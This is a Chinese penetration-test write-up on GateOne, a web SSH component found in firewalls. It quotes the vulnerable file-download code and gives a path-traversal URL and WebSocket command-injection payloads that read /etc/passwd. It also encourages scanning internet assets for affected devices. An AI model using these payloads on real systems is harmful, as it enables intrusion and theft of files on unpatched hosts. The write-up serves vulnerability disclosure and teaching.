STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
NO.1 项目背景
这次任务的目标是打穿网络边界,进入核心业务网。接入点为某城域网。
进行资产探测发现,该网段存活资产主要为网络设备及部分web服务。Web服务器只暴露了22端口及80、443等web端口。构造字典对ssh进行爆破,因为被测单位刚刚进行了资产梳理,未能成功。对web进行测试,未能找到可以getshell的组件漏洞,未能找到上传点。发现了几个sql注入,但是使用的数据库为oracle,且为时间盲注,利用难度太大,测试陷入了僵局。
* 本文涉及的漏洞,除GateOne已经停止维护外,其他漏洞均已修复。本文漏洞截图均为后期本地复现。
NO.2 重新资产探测
项目组使用nmap重新对C段的1-65535端口进行了端口扫描。扫描发现有多个IP开放了48620端口。随机选择一个IP,对其443端口进行访问,发现该资产为某防火墙。为了便于演示,以下假设该IP为10.1.1.1。
使用nmap -sV对48620端口进行版本识别,发现其承载的服务为ssl/http。访问https://10.1.1.1:48620可以看到一个web页面,标题为Gate One。这个页面与防火墙登录页面画风差别很大,推测可能是一个开源组件。查看前端代码发现COPYRIGHT NOTICE,证实了推测。
百度搜索该组件,发现这是一个SSH连接工具,可以像堡垒机一样登录服务器。简单测试了一下,未发现高危漏洞,只能进行代码审计,寻找漏洞。
NO.3 代码审计
查看GateOne项目的GitHub库:
https://github.com/liftoff/GateOne
得知这是一个基于tornado和html5技术的开源web ssh项目。克隆代码,进行审计。
查看项目文档:
/gateone/docs/build/html/Developer/index.html
可以看到项目核心代码为/gateone/core/server.py。
因为攻防实战中时间紧迫,采取危险函数搜索的方式进行审计。在server.py中搜索open( ,可以看到有大量文件读取操作。
对文件操作进行审计,发现第936行的下载操作的参数可控。在924行查看整个方法:
def get(self, path, include_body=True):
session_dir = self.settings['session_dir']
user = self.current_user
if user and 'session' in user:
session = user['session']
else:
logger.error(_("DownloadHandler: Could not determine use session"))
return # Something is wrong
filepath = os.path.join(session_dir, session, 'downloads', path)
abspath = os.path.abspath(filepath)
if not os.path.exists(abspath):
self.set_status(404)
self.write(self.get_error_html(404))
return
if not os.path.isfile(abspath):
raise tornado.web.HTTPError(403, "%s is not a file", path)
import stat, mimetypes
stat_result = os.stat(abspath)
modified = datetime.fromtimestamp(stat_result[stat.ST_MTIME])
self.set_header("Last-Modified", modified)
mime_type, encoding = mimetypes.guess_type(abspath)
if mime_type:
self.set_header("Content-Type", mime_type)
# Set the Cache-Control header to private since this file is not meant
self.set_header("Cache-Control", "private")
# Add some additional headers
self.set_header('Access-Control-Allow-Origin', '*')
# Check the If-Modified-Since, and don't send the result if the
ims_value = self.request.headers.get("If-Modified-Since")
if ims_value is not None:
import email.utils
date_tuple = email.utils.parsedate(ims_value)
if_since = datetime.fromtimestamp(time.mktime(date_tuple))
if if_since >= modified:
self.set_status(304)
return
# Finally, deliver the file
with io.open(abspath, "rb") as file:
data = file.read()
hasher = hashlib.sha1()
hasher.update(data)
self.set_header("Etag", '"%s"' % hasher.hexdigest())
if include_body:
self.write(data)
else:
assert self.request.method == "HEAD"
self.set_header("Content-Length", len(data))
注意关键部分,可以看到系统没有进行任何过滤, 就把path参数拼进了filepath, 然后读取绝对路径,存在目录穿越, 可以读取任意文件。
寻找存在漏洞方法的调用点,在 3692 行可以看到downloads/路由调用了该对象:
在tornado框架中,路由表中的任意一项是一个元组,每个元组包含pattern(模式)和handler(处理器)。当httpserver接收到一个http请求,server从接收到的请求中解析出url path,然后顺序遍历路由表,如果发现url path可以匹配某个pattern,则将此http request交给web应用中对应的handler去处理。
故可构造Poc:
https://10.1.1.1:48620/downloads/../../../../etc/passwd
NO.4 站在巨人的肩膀上RCE
代码审计出了一个任意文件下载漏洞,还是无法getshell。换了一个搜索引擎进行搜索(使用的是多吉搜索https://www.dogedoge.com,收录的博客比较多,质量很高。不过现在已经停止服务了),发现早有大佬对GateOne进行了代码审计。在Ogeek CTF 2019中Easy Realworld Challenge 1&2题目使用了GateOne组件,有许多大神写了Writeup。
在Writeup中,大神不只审出了任意文件下载,还审出了一个RCE。以下根据网上的文章对RCE进行复现。
(1)代码审计
查看文件
/gateone/applications/terminal/plugins/ssh/ssh.py
发现get_host_fingerprint函数在执行连接命令的时候直接拼接了输入参数,存在风险。port及host参数用户可控且未作过滤,可能导致命令注入。
寻找函数触发的地方,在WebSocket中触发执行。
在ssh 连接发起之后,客户端会获取当前连接目标的 ssh 指纹,触发ssh_get_host_fingerprint函数。可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE。
查看源代码\gateone\applications\terminal\plugins\ssh\static\ssh.js,发现GateOne可以通过WebSocket来发送消息,从而触发执行。
发送的WebSocket消息:
{"terminal:ssh_get_host_fingerprint":{"host":"192.168.150.128","port":"22; 命令;"}}
同理,查看gateone/applications/terminal/plugins/ssh/ssh.py中的生成ssh密钥相关代码,在openssh_generate_new_keypair方法中可以看到拼接命令处未进行过滤,因为name参数可控, 最后导致key_path可控,导致命令注入。
发送的WebSocket消息:
{"terminal:ssh_gen_new_keypair":{"name":"1';命令;'","keytype":"ecdsa","bits":"521"}}
(2)漏洞复现
本地搭建测试环境并访问。在浏览器中打开开发工具,切换到控制台页面,输入GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"10.1.1.1","port":"22;cat /etc/passwd;"}}')。查看响应的报错信息,发现目标主机成功执行命令,读取/etc/passwd文件。
在生产环境中执行该poc,并没有成功RCE,推测可能是防火墙开发商对GateOne进行了魔改,修复了该漏洞。项目组更换目标,通过别的系统打穿了边界,但是GateOne的故事并没有结束。
NO.5 漏洞后续利用
在sumap、fofa及zoomeye中对GateOne进行搜索,可以发现大量资产。
(1)2个CNVD证书及专属SRC
对搜集到的资产进行梳理,发现某厂商的防火墙也使用了gateone组件,端口号为60443,推测该型号防火墙应该都存在RCE及任意文件下载漏洞。使用FOFA及Google Hacking寻找该型号防火墙,编写poc脚本进行测试,发现漏洞确实存在。挑选10个互联网案例,编写漏洞文档,提交CNVD,获得了两个证书。
对本次攻防中遇到的防火墙进行研究,发现互联网上找到的资产都可进行任意文件下载。因为该厂商较大,故提交专属SRC,获得了几千元的奖金。
使用GateOne的产品还很多,小伙伴们可以搜集一下,厂商比较大且可以找到10个的话都能获得CNVD证书,提交其他平台还可能获得一些现金奖励。关于组件漏洞导致的漏洞究竟算不算0day有待商榷,个人认为对组件源码进行引用且耦合度比较高的产品的漏洞可以算0day,例如今年年初的Chrome远程代码执行漏洞就是因为V8引擎漏洞造成的。CNVD和CVE对这种漏洞一般也是收录的。
(2)1个CVE编号
在cve列表里搜索,发现RCE已经有人提了(CVE-2020-20184),但是任意文件下载漏洞还没有提交,可以尝试提交一下。GateOne属于开源项目,可以通过MITRE官方申请cve编号。简单介绍一下申请流程。
首先要对漏洞的原理、利用简单整理一下,编写一份英文文档,给GateOne的github项目提交一个Issues。然后提交到mitre官方平台,页面在https://cveform.mitre.org/。详细的填报可以参考https://www.freebuf.com/news/168362.html。一般过1-2天就会收到审核结果邮件,邮件里会有你提交漏洞的信息和分配的编号。漏洞将发布到CVE官网,国内一般也会同步到CNNVD。
NO.6 总结
(1) 在内网渗透中,资产探测要循序渐进,先找存活主机,再扫常见端口,再针对单个IP进行全端口扫描,这样效率较高且动作不太大。
(2) 针对不常见的组件,可以根据前端代码、页面title判断是否开源组件。如果是开源组件可以通过github、博客、论坛搜索一下,往往会有意外惊喜。
(3) 攻防实战中遇到有源码的组件可以进行一个快速的代码审计,白盒测试比黑盒测试效率能高许多。
(4) 针对组件漏洞,可以去寻找使用该组件的产品,这样能捡不少0day。
NO.7 参考资料
https://cloud.tencent.com/developer/article/1591158
https://blog.csdn.net/wyx819/article/details/45936499
https://rmb122.com/2019/08/28/Ogeek-Easy-Realworld-Challenge-1-2-Writeup/
https://www.zhaoj.in/read-6251.html
https://www.freebuf.com/news/168362.html
RECRUITMENT
招聘启事
END
长按识别二维码关注我们